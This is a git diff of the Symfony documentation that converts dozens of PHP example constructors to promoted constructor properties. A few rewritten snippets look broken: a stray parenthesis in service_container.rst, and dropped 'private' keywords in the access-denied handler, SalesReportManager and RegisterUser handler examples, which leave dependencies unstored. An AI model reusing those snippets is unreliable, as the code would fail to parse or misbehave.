-            $this->serializer = $serializer;
-            $this->filePath = $filePath;
+        public function __construct(
+            private SerializerInterface $serializer,
+            private string $filePath,
+        ) {
         }
 
         public function get(): iterable
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index e57f759374d..cab4a05a2b6 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -952,11 +952,9 @@ Consider the following example::
 
     class Foo
     {
-        private $bar;
-
-        public function __construct(Bar $bar)
-        {
-            $this->bar = $bar;
+        public function __construct(
+            private Bar $bar,
+        ) {
         }
 
         public function fooMethod()
diff --git a/components/property_info.rst b/components/property_info.rst
index 07f4196fe50..ceaf09cfa52 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -431,13 +431,12 @@ information from annotations of properties and methods, such as ``@var``,
     // src/Domain/Foo.php
     class Foo
     {
-        private $bar;
-
         /**
          * @param string $bar
          */
-        public function __construct($bar) {
-            $this->bar = $bar;
+        public function __construct(
+            private $bar,
+        ) {
         }
     }
 
diff --git a/components/runtime.rst b/components/runtime.rst
index 16a3428923f..eb428461105 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -420,13 +420,10 @@ is added in a new class implementing :class:`Symfony\\Component\\Runtime\\Runner
 
     class ReactPHPRunner implements RunnerInterface
     {
-        private $application;
-        private $port;
-
-        public function __construct(RequestHandlerInterface $application, int $port)
-        {
-            $this->application = $application;
-            $this->port = $port;
+        public function __construct(
+            private RequestHandlerInterface $application,
+            private int $port,
+        ) {
         }
 
         public function run(): int
diff --git a/components/serializer.rst b/components/serializer.rst
index 1ff73e32cdd..0d52aa1fb1d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -610,11 +610,9 @@ processes::
 
     class Person
     {
-        private $firstName;
-
-        public function __construct($firstName)
-        {
-            $this->firstName = $firstName;
+        public function __construct(
+            private $firstName,
+        ) {
         }
 
         public function getFirstName()
@@ -667,12 +665,10 @@ defines a ``Person`` entity with a ``firstName`` property:
 
         class Person
         {
-            #[SerializedName('customer_name')]
-            private $firstName;
-
-            public function __construct($firstName)
-            {
-                $this->firstName = $firstName;
+            public function __construct(
+                #[SerializedName('customer_name')]
+                private $firstName,
+            ) {
             }
 
             // ...
@@ -1605,13 +1601,10 @@ context option::
 
     class MyObj
     {
-        private $foo;
-        private $bar;
-
-        public function __construct($foo, $bar)
-        {
-            $this->foo = $foo;
-            $this->bar = $bar;
+        public function __construct(
+            private $foo,
+            private $bar,
+        ) {
         }
     }
 
diff --git a/components/string.rst b/components/string.rst
index 2fdb608005c..b68066389b7 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -553,11 +553,9 @@ the injected slugger is the same as the request locale::
 
     class MyService
     {
-        private $slugger;
-
-        public function __construct(SluggerInterface $slugger)
-        {
-            $this->slugger = $slugger;
+        public function __construct(
+            private SluggerInterface $slugger,
+        ) {
         }
 
         public function someMethod()
diff --git a/components/uid.rst b/components/uid.rst
index 0b63740b5a1..aa22919dce5 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -161,8 +161,9 @@ on the configuration you defined::
 
     class FooService
     {
-        public function __construct(private UuidFactory $uuidFactory)
-        {
+        public function __construct(
+            private UuidFactory $uuidFactory,
+        ) {
         }
 
         public function generate(): void
@@ -362,8 +363,9 @@ Like UUIDs, ULIDs have their own factory, ``UlidFactory``, that can be used to g
 
     class FooService
     {
-        public function __construct(private UlidFactory $ulidFactory)
-        {
+        public function __construct(
+            private UlidFactory $ulidFactory,
+        ) {
         }
 
         public function generate(): void
diff --git a/configuration.rst b/configuration.rst
index c4f95198142..0812f709c80 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1065,11 +1065,9 @@ parameters at once by type-hinting any of its constructor arguments with the
 
     class MessageGenerator
     {
-        private $params;
-
-        public function __construct(ContainerBagInterface $params)
-        {
-            $this->params = $params;
+        public function __construct(
+            private ContainerBagInterface $params,
+        ) {
         }
 
         public function someMethod()
diff --git a/console.rst b/console.rst
index c65850b40ec..08741f6b5cc 100644
--- a/console.rst
+++ b/console.rst
@@ -420,12 +420,9 @@ as a service, you can use normal dependency injection. Imagine you have a
 
     class CreateUserCommand extends Command
     {
-        private $userManager;
-
-        public function __construct(UserManager $userManager)
-        {
-            $this->userManager = $userManager;
-
+        public function __construct(
+            private UserManager $userManager,
+        ){
             parent::__construct();
         }
 
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index d279c762ec6..e62170d517f 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -26,12 +26,9 @@ For example, suppose you want to log something from within your command::
     #[AsCommand(name: 'app:sunshine')]
     class SunshineCommand extends Command
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
-        {
-            $this->logger = $logger;
-
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
             // you *must* call the parent constructor
             parent::__construct();
         }
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index e8af77af491..64a14655e28 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -53,15 +53,15 @@ short example containing most features described below::
          * @var string
          */
         private $fooBar;
-        private $qux;
 
         /**
          * @param $dummy some argument description
          */
-        public function __construct(string $dummy, Qux $qux)
-        {
+        public function __construct(
+            string $dummy,
+            private Qux $qux,
+        ) {
             $this->fooBar = $this->transformText($dummy);
-            $this->qux = $qux;
         }
 
         /**
diff --git a/controller/service.rst b/controller/service.rst
index 278e2239569..88676a112ae 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -190,11 +190,9 @@ service and use it directly::
 
     class HelloController
     {
-        private $twig;
-
-        public function __construct(Environment $twig)
-        {
-            $this->twig = $twig;
+        public function __construct(
+            private Environment $twig,
+        ) {
         }
 
         public function index($name)
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index c1ac6d4e29d..e8777f04a25 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -239,13 +239,10 @@ logic to a separate service::
 
     class FileUploader
     {
-        private $targetDirectory;
-        private $slugger;
-
-        public function __construct($targetDirectory, SluggerInterface $slugger)
-        {
-            $this->targetDirectory = $targetDirectory;
-            $this->slugger = $slugger;
+        public function __construct(
+            private $targetDirectory,
+            private SluggerInterface $slugger,
+        ) {
         }
 
         public function upload(UploadedFile $file)
diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index 181c75b00d2..63457fe8462 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -45,17 +45,12 @@ the Response instance::
 
     class Framework
     {
-        private $dispatcher;
-        private $matcher;
-        private $controllerResolver;
-        private $argumentResolver;
-
-        public function __construct(EventDispatcher $dispatcher, UrlMatcherInterface $matcher, ControllerResolverInterface $controllerResolver, ArgumentResolverInterface $argumentResolver)
-        {
-            $this->dispatcher = $dispatcher;
-            $this->matcher = $matcher;
-            $this->controllerResolver = $controllerResolver;
-            $this->argumentResolver = $argumentResolver;
+        public function __construct(
+            private EventDispatcher $dispatcher,
+            private UrlMatcherInterface $matcher,
+            private ControllerResolverInterface $controllerResolver,
+            private ArgumentResolverInterface $argumentResolver,
+        ) {
         }
 
         public function handle(Request $request)
@@ -94,13 +89,10 @@ now dispatched::
 
     class ResponseEvent extends Event
     {
-        private $request;
-        private $response;
-
-        public function __construct(Response $response, Request $request)
-        {
-            $this->response = $response;
-            $this->request = $request;
+        public function __construct(
+            private Response $response,
+            private Request $request,
+        ) {
         }
 
         public function getResponse()
diff --git a/create_framework/separation_of_concerns.rst b/create_framework/separation_of_concerns.rst
index 24d34f0e82b..76098683226 100644
--- a/create_framework/separation_of_concerns.rst
+++ b/create_framework/separation_of_concerns.rst
@@ -27,15 +27,11 @@ request handling logic into its own ``Simplex\Framework`` class::
 
     class Framework
     {
-        private $matcher;
-        private $controllerResolver;
-        private $argumentResolver;
-
-        public function __construct(UrlMatcher $matcher, ControllerResolver $controllerResolver, ArgumentResolver $argumentResolver)
-        {
-            $this->matcher = $matcher;
-            $this->controllerResolver = $controllerResolver;
-            $this->argumentResolver = $argumentResolver;
+        public function __construct(
+            private UrlMatcher $matcher,
+            private ControllerResolver $controllerResolver,
+            private ArgumentResolver $argumentResolver,
+        ) {
         }
 
         public function handle(Request $request)
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index c2d04115812..24e17fc8ccf 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -62,15 +62,11 @@ resolver. Modify the framework to make use of them::
 
     class Framework
     {
-        protected $matcher;
-        protected $controllerResolver;
-        protected $argumentResolver;
-
-        public function __construct(UrlMatcherInterface $matcher, ControllerResolverInterface $resolver, ArgumentResolverInterface $argumentResolver)
-        {
-            $this->matcher = $matcher;
-            $this->controllerResolver = $resolver;
-            $this->argumentResolver = $argumentResolver;
+        public function __construct(
+            private UrlMatcherInterface $matcher,
+            private ControllerResolverInterface $resolver,
+            private ArgumentResolverInterface $argumentResolver,
+        ) {
         }
 
         // ...
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index d1d309b822f..d41ee4556e0 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -551,11 +551,9 @@ event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
 
     class TokenSubscriber implements EventSubscriberInterface
     {
-        private $tokens;
-
-        public function __construct($tokens)
-        {
-            $this->tokens = $tokens;
+        public function __construct(
+            private $tokens
+        ) {
         }
 
         public function onKernelController(ControllerEvent $event)
@@ -716,13 +714,10 @@ this::
 
     class BeforeSendMailEvent extends Event
     {
-        private $subject;
-        private $message;
-
-        public function __construct($subject, $message)
-        {
-            $this->subject = $subject;
-            $this->message = $message;
+        public function __construct(
+            private $subject,
+            private $message,
+        ) {
         }
 
         public function getSubject()
@@ -755,11 +750,9 @@ And the ``AfterSendMailEvent`` even like this::
 
     class AfterSendMailEvent extends Event
     {
-        private $returnValue;
-
-        public function __construct($returnValue)
-        {
-            $this->returnValue = $returnValue;
+        public function __construct(
+            private $returnValue,
+        ) {
         }
 
         public function getReturnValue()
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 2998a763445..d3fdd12a85b 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -463,11 +463,9 @@ defined by the form or be completely independent::
 
     class PostalAddressType extends AbstractType
     {
-        private $entityManager;
-
-        public function __construct(EntityManagerInterface $entityManager)
-        {
-            $this->entityManager = $entityManager;
+        public function __construct(
+            private EntityManagerInterface $entityManager,
+        ) {
         }
 
         // ...
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index c29036c148d..1b241a1fcda 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -36,15 +36,11 @@ using an immutable color object::
 
     final class Color
     {
-        private $red;
-        private $green;
-        private $blue;
-
-        public function __construct(int $red, int $green, int $blue)
-        {
-            $this->red = $red;
-            $this->green = $green;
-            $this->blue = $blue;
+        public function __construct(
+            private int $red,
+            private int $green,
+            private int $blue,
+        ) {
         }
 
         public function getRed(): int
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 8258ee2794a..899a99a7dfc 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -177,8 +177,9 @@ to and from the issue number and the ``Issue`` object::
 
     class IssueToNumberTransformer implements DataTransformerInterface
     {
-        public function __construct(private EntityManagerInterface $entityManager)
-        {
+        public function __construct(
+            private EntityManagerInterface $entityManager,
+        ) {
         }
 
         /**
@@ -261,11 +262,9 @@ and type-hint the new class::
     // ...
     class TaskType extends AbstractType
     {
-        private $transformer;
-
-        public function __construct(IssueToNumberTransformer $transformer)
-        {
-            $this->transformer = $transformer;
+        public function __construct(
+            private IssueToNumberTransformer $transformer,
+        ) {
         }
 
         public function buildForm(FormBuilderInterface $builder, array $options): void
@@ -378,11 +377,9 @@ First, create the custom field type class::
 
     class IssueSelectorType extends AbstractType
     {
-        private $transformer;
-
-        public function __construct(IssueToNumberTransformer $transformer)
-        {
-            $this->transformer = $transformer;
+        public function __construct(
+            private IssueToNumberTransformer $transformer,
+        ) {
         }
 
         public function buildForm(FormBuilderInterface $builder, array $options): void
@@ -484,7 +481,7 @@ To use the view transformer, call ``addViewTransformer()``.
     data. So your model transformer cannot reduce the number of items within the
     Collection (i.e. filtering out some items), as in that case the collection
     ends up with some empty children.
-    
+
     A possible workaround for that limitation could be not using the underlying
     object directly, but a DTO (Data Transfer Object) instead, that implements
     the transformation of such incompatible data structures.
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 5866ded610d..be05a6a6ffa 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -238,11 +238,9 @@ service into the form type so you can get the current user object::
 
     class FriendMessageFormType extends AbstractType
     {
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            $this->security = $security;
+        public function __construct(
+            private Security $security,
+        ) {
         }
 
         // ....
@@ -267,11 +265,9 @@ security helper to fill in the listener logic::
 
     class FriendMessageFormType extends AbstractType
     {
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            $this->security = $security;
+        public function __construct(
+            private Security $security,
+        ) {
         }
 
         public function buildForm(FormBuilderInterface $builder, array $options): void
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index c2cba15ad7f..abaafc777d3 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -53,11 +53,9 @@ that constructor with no arguments::
 
     class BlogType extends AbstractType
     {
-        private $someDependency;
-
-        public function __construct($someDependency)
-        {
-            $this->someDependency = $someDependency;
+        public function __construct(
+            private $someDependency,
+        ) {
         }
         // ...
 
diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index 9b12bdfec55..da07585b511 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -13,14 +13,10 @@ parameter::
 
     class ValidationGroupResolver
     {
-        private $service1;
-
-        private $service2;
-
-        public function __construct($service1, $service2)
-        {
-            $this->service1 = $service1;
-            $this->service2 = $service2;
+        public function __construct(
+            private $service1,
+            private $service2,
+        ) {
         }
 
         public function __invoke(FormInterface $form): array
@@ -44,11 +40,9 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
 
     class MyClassType extends AbstractType
     {
-        private $groupResolver;
-
-        public function __construct(ValidationGroupResolver $groupResolver)
-        {
-            $this->groupResolver = $groupResolver;
+        public function __construct(
+            private ValidationGroupResolver $groupResolver,
+        ) {
         }
 
         // ...
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 8a5d77cae5e..23e1a4cdfa5 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -52,28 +52,17 @@ version string::
 
     class GulpBusterVersionStrategy implements VersionStrategyInterface
     {
-        /**
-         * @var string
-         */
-        private $manifestPath;
-
-        /**
-         * @var string
-         */
-        private $format;
+        private string $format;
 
         /**
          * @var string[]
          */
-        private $hashes;
+        private array $hashes;
 
-        /**
-         * @param string      $manifestPath
-         * @param string|null $format
-         */
-        public function __construct(string $manifestPath, string $format = null)
-        {
-            $this->manifestPath = $manifestPath;
+        public function __construct(
+            private string $manifestPath,
+            ?string $format = null,
+        ) {
             $this->format = $format ?: '%s?%s';
         }
 
diff --git a/http_client.rst b/http_client.rst
index 04d3f0cc24b..ef138bc75b9 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -32,11 +32,9 @@ automatically when type-hinting for :class:`Symfony\\Contracts\\HttpClient\\Http
 
         class SymfonyDocs
         {
-            private $client;
-
-            public function __construct(HttpClientInterface $client)
-            {
-                $this->client = $client;
+            public function __construct(
+                private HttpClientInterface $client,
+            ) {
             }
 
             public function fetchGitHubInformation(): array
@@ -1378,11 +1376,9 @@ interface you need to code against when a client is needed::
 
     class MyApiLayer
     {
-        private $client;
-
-        public function __construct(HttpClientInterface $client)
-        {
-            $this->client = $client;
+        public function __construct(
+            private HttpClientInterface $client,
+        ) {
         }
 
         // [...]
@@ -1430,11 +1426,9 @@ Now you can make HTTP requests with the PSR-18 client as follows:
 
         class Symfony
         {
-            private $client;
-
-            public function __construct(ClientInterface $client)
-            {
-                $this->client = $client;
+            public function __construct(
+                private ClientInterface $client,
+            ) {
             }
 
             public function getAvailableVersions(): array
@@ -1940,11 +1934,9 @@ test it in a real application::
 
     final class ExternalArticleService
     {
-        private HttpClientInterface $httpClient;
-
-        public function __construct(HttpClientInterface $httpClient)
-        {
-            $this->httpClient = $httpClient;
+        public function __construct(
+            private HttpClientInterface $httpClient,
+        ) {
         }
 
         public function createArticle(array $requestData): array
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index aa4a64dab69..f14b5dd8f89 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -186,10 +186,10 @@ change your constructor like this:
 
 .. code-block:: diff
 
-    -     public function __construct(LoggerInterface $logger)
-    +     public function __construct(LoggerInterface $fooBarLogger)
-        {
-            $this->logger = $fooBarLogger;
+        public function __construct(
+    -     LoggerInterface $logger,
+    +     LoggerInterface $fooBarLogger,
+        ) {
         }
 
 .. _`MonologBundle`: https://github.com/symfony/monolog-bundle
diff --git a/messenger.rst b/messenger.rst
index 4fb93bba074..6250cecdc69 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -35,11 +35,9 @@ serialized::
 
     class SmsNotification
     {
-        private $content;
-
-        public function __construct(string $content)
-        {
-            $this->content = $content;
+        public function __construct(
+            private string $content,
+        ) {
         }
 
         public function getContent(): string
@@ -365,11 +363,9 @@ etc.) instead of the object (otherwise you might see errors related to the Entit
 
     class NewUserWelcomeEmail
     {
-        private $userId;
-
-        public function __construct(int $userId)
-        {
-            $this->userId = $userId;
+        public function __construct(
+            private int $userId,
+        ) {
         }
 
         public function getUserId(): int
@@ -390,11 +386,9 @@ Then, in your handler, you can query for a fresh object::
     #[AsMessageHandler]
     class NewUserWelcomeEmailHandler
     {
-        private $userRepository;
-
-        public function __construct(UserRepository $userRepository)
-        {
-            $this->userRepository = $userRepository;
+        public function __construct(
+            private UserRepository $userRepository,
+        ) {
         }
 
         public function __invoke(NewUserWelcomeEmail $welcomeEmail)
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index e496fcf6263..2207035e11a 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -44,15 +44,15 @@ Here is a simplified example of a database transport::
 
     class YourTransport implements TransportInterface
     {
-        private $db;
-        private $serializer;
+        private SerializerInterface $serializer;
 
         /**
          * @param FakeDatabase $db is used for demo purposes. It is not a real class.
          */
-        public function __construct(FakeDatabase $db, SerializerInterface $serializer = null)
-        {
-            $this->db = $db;
+        public function __construct(
+            private FakeDatabase $db,
+            SerializerInterface $serializer = null,
+        ) {
             $this->serializer = $serializer ?? new PhpSerializer();
         }
 
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index ec1adf4d0f4..cc871255bbc 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -57,13 +57,10 @@ using the ``DispatchAfterCurrentBusMiddleware`` and adding a
 
     class RegisterUserHandler
     {
-        private $eventBus;
-        private $em;
-
-        public function __construct(MessageBusInterface $eventBus, EntityManagerInterface $em)
-        {
-            $this->eventBus = $eventBus;
-            $this->em = $em;
+        public function __construct(
+            private MessageBusInterface $eventBus,
+            private EntityManagerInterface $em,
+        ) {
         }
 
         public function __invoke(RegisterUser $command)
@@ -97,13 +94,10 @@ using the ``DispatchAfterCurrentBusMiddleware`` and adding a
 
     class WhenUserRegisteredThenSendWelcomeEmail
     {
-        private $mailer;
-        private $em;
-
-        public function __construct(MailerInterface $mailer, EntityManagerInterface $em)
-        {
-            $this->mailer = $mailer;
-            $this->em = $em;
+        public function __construct(
+            private MailerInterface $mailer,
+            EntityManagerInterface $em,
+        ) {
         }
 
         public function __invoke(UserRegistered $event)
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index 8d630d011f4..e721b1fb6e8 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -48,9 +48,9 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
     {
         use HandleTrait;
 
-        public function __construct(MessageBusInterface $messageBus)
-        {
-            $this->messageBus = $messageBus;
+        public function __construct(
+            private MessageBusInterface $messageBus,
+        ) {
         }
 
         public function __invoke()
@@ -83,9 +83,9 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
     {
         use HandleTrait;
 
-        public function __construct(MessageBusInterface $messageBus)
-        {
-            $this->messageBus = $messageBus;
+        public function __construct(
+            private MessageBusInterface $messageBus,
+        ) {
         }
 
         /**
diff --git a/notifier.rst b/notifier.rst
index 08a5054249f..311b24cb18d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -710,11 +710,9 @@ very high and the recipient has a phone number::
 
     class InvoiceNotification extends Notification
     {
-        private $price;
-
-        public function __construct(int $price)
-        {
-            $this->price = $price;
+        public function __construct(
+            private int $price,
+        ) {
         }
 
         public function getChannels(RecipientInterface $recipient)
@@ -749,11 +747,9 @@ and its ``asChatMessage()`` method::
 
     class InvoiceNotification extends Notification implements ChatNotificationInterface
     {
-        private $price;
-
-        public function __construct(int $price)
-        {
-            $this->price = $price;
+        public function __construct(
+            private int $price,
+        ) {
         }
 
         public function asChatMessage(RecipientInterface $recipient, string $transport = null): ?ChatMessage
diff --git a/performance.rst b/performance.rst
index 17c77d7c038..1bea7d85be3 100644
--- a/performance.rst
+++ b/performance.rst
@@ -248,11 +248,9 @@ and Symfony will inject the ``debug.stopwatch`` service::
 
     class DataExporter
     {
-        private $stopwatch;
-
-        public function __construct(Stopwatch $stopwatch)
-        {
-            $this->stopwatch = $stopwatch;
+        public function __construct(
+            private Stopwatch $stopwatch,
+        ) {
         }
 
         public function export()
diff --git a/profiler.rst b/profiler.rst
index 12441d703ec..4fe184d1c95 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -195,13 +195,14 @@ event::
     use Symfony\Component\HttpKernel\KernelInterface;
 
     // ...
-    
+
     class MySubscriber implements EventSubscriberInterface
     {
-        public function __construct(private KernelInterface $kernel)
-        {
+        public function __construct(
+            private KernelInterface $kernel,
+        ) {
         }
-        
+
         // ...
 
         public function onKernelResponse(ResponseEvent $event)
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 9ba2ce9f305..36953bd55b7 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -139,8 +139,9 @@ difference is that it's done in the constructor:
 
       class GreetingGenerator
       {
-    +     public function __construct(private readonly LoggerInterface $logger)
-    +     {
+    +     public function __construct(
+    +         private readonly LoggerInterface $logger,
+    +     ) {
     +     }
 
           public function getRandomGreeting(): string
@@ -173,8 +174,9 @@ that extends ``AbstractExtension``::
 
     class GreetExtension extends AbstractExtension
     {
-        public function __construct(private readonly GreetingGenerator $greetingGenerator)
-        {
+        public function __construct(
+            private readonly GreetingGenerator $greetingGenerator,
+        ) {
         }
 
         public function getFilters()
diff --git a/routing.rst b/routing.rst
index e6823db145b..ba8f48adc2b 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2285,8 +2285,9 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
 
     class SomeService
     {
-        public function __construct(private UrlGeneratorInterface $router)
-        {
+        public function __construct(
+            private UrlGeneratorInterface $router,
+        ) {
         }
 
         public function someMethod()
@@ -2401,8 +2402,9 @@ Now you'll get the expected results when generating URLs in your commands::
 
     class SomeCommand extends Command
     {
-        public function __construct(private RouterInterface $router)
-        {
+        public function __construct(
+            private RouterInterface $router,
+        ) {
             parent::__construct();
         }
 
diff --git a/security.rst b/security.rst
index d91fc3cfe0d..614041b4a94 100644
--- a/security.rst
+++ b/security.rst
@@ -610,14 +610,12 @@ use the :class:`Symfony\\Bundle\\SecurityBundle\\Security` service::
 
     class ExampleService
     {
-        private Security $security;
-
-        public function __construct(Security $security, RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
+        public function __construct(
             // Avoid calling getFirewallConfig() in the constructor: auth may not
             // be complete yet. Instead, store the entire Security object.
-            $this->security = $security;
+            private Security $security,
+            RequestStack $requestStack,
+        ) {
         }
 
         public function someMethod()
@@ -1918,13 +1916,11 @@ If you need to get the logged in user from a service, use the
 
     class ExampleService
     {
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            // Avoid calling getUser() in the constructor: auth may not
-            // be complete yet. Instead, store the entire Security object.
-            $this->security = $security;
+        // Avoid calling getUser() in the constructor: auth may not
+        // be complete yet. Instead, store the entire Security object.
+        public function __construct(
+            private Security $security,
+        ){
         }
 
         public function someMethod()
@@ -2347,11 +2343,9 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
 
       class SalesReportManager
       {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
+    +     public function __construct(
+    +         Security $security,
+    +     ) {
     +     }
 
           public function generateReport()
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index b1c73ce5e88..c6bebd13f36 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -36,11 +36,9 @@ unauthenticated user tries to access a protected resource::
 
     class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
     {
-        private $urlGenerator;
-
-        public function __construct(UrlGeneratorInterface $urlGenerator)
-        {
-            $this->urlGenerator = $urlGenerator;
+        public function __construct(
+            UrlGeneratorInterface $urlGenerator,
+        ) {
         }
 
         public function start(Request $request, AuthenticationException $authException = null): RedirectResponse
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 9ede9653d87..f817bb159de 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -229,11 +229,9 @@ using :ref:`the user provider <security-user-providers>`::
 
         class CustomAuthenticator extends AbstractAuthenticator
         {
-            private $userRepository;
-
-            public function __construct(UserRepository $userRepository)
-            {
-                $this->userRepository = $userRepository;
+            public function __construct(
+                private UserRepository $userRepository,
+            ) {
             }
 
             public function authenticate(Request $request): Passport
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 562d86d2ed0..1b3365a864a 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -166,11 +166,9 @@ the impersonator user::
 
     class SomeService
     {
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            $this->security = $security;
+        public function __construct(
+            private Security $security,
+        ) {
         }
 
         public function someMethod()
@@ -374,11 +372,9 @@ logic you want::
 
     class SwitchToCustomerVoter extends Voter
     {
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            $this->security = $security;
+        public function __construct(
+            private Security $security,
+        ) {
         }
 
         protected function supports($attribute, $subject): bool
diff --git a/security/voters.rst b/security/voters.rst
index 0755e17f39d..b18feaf39bb 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -228,11 +228,9 @@ with ``ROLE_SUPER_ADMIN``::
     {
         // ...
 
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            $this->security = $security;
+        public function __construct(
+            private Security $security,
+        ) {
         }
 
         protected function voteOnAttribute($attribute, mixed $subject, TokenInterface $token): bool
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index fa7aa1f0094..4a03ea1f34e 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -27,13 +27,10 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
 
     class TopicNormalizer implements NormalizerInterface
     {
-        private $router;
-        private $normalizer;
-
-        public function __construct(UrlGeneratorInterface $router, ObjectNormalizer $normalizer)
-        {
-            $this->router = $router;
-            $this->normalizer = $normalizer;
+        public function __construct(
+            private UrlGeneratorInterface $router,
+            private ObjectNormalizer $normalizer,
+        ) {
         }
 
         public function normalize($topic, string $format = null, array $context = [])
diff --git a/service_container.rst b/service_container.rst
index dc1337e24c3..02cb3007d92 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -284,11 +284,9 @@ and use it later::
 
     class MessageGenerator
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
-        {
-            $this->logger = $logger;
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
         }
 
         public function getHappyMessage(): string
@@ -347,13 +345,10 @@ made. To do that, you create a new class::
 
     class SiteUpdateManager
     {
-        private $messageGenerator;
-        private $mailer;
-
-        public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
-        {
-            $this->messageGenerator = $messageGenerator;
-            $this->mailer = $mailer;
+        public function __construct(
+            private MessageGenerator $messageGenerator,
+            private MailerInterface $mailer,
+        ) {
         }
 
         public function notifyOfSiteUpdate(): bool
@@ -421,11 +416,11 @@ example, suppose you want to make the admin email configurable:
           // ...
     +    private $adminEmail;
 
-    -    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
-    +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, string $adminEmail)
-          {
-              // ...
-    +        $this->adminEmail = $adminEmail;
+          public function __construct(
+              private MessageGenerator $messageGenerator,
+              private MailerInterface $mailer,
+    +        private string $adminEmail,)
+          ) {
           }
 
           public function notifyOfSiteUpdate(): bool
@@ -623,11 +618,9 @@ The ``MessageGenerator`` service created earlier requires a ``LoggerInterface``
 
     class MessageGenerator
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
-        {
-            $this->logger = $logger;
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
         }
         // ...
     }
@@ -715,12 +708,12 @@ Let's add an argument to our ``MessageGenerator`` constructor::
 
     class MessageGenerator
     {
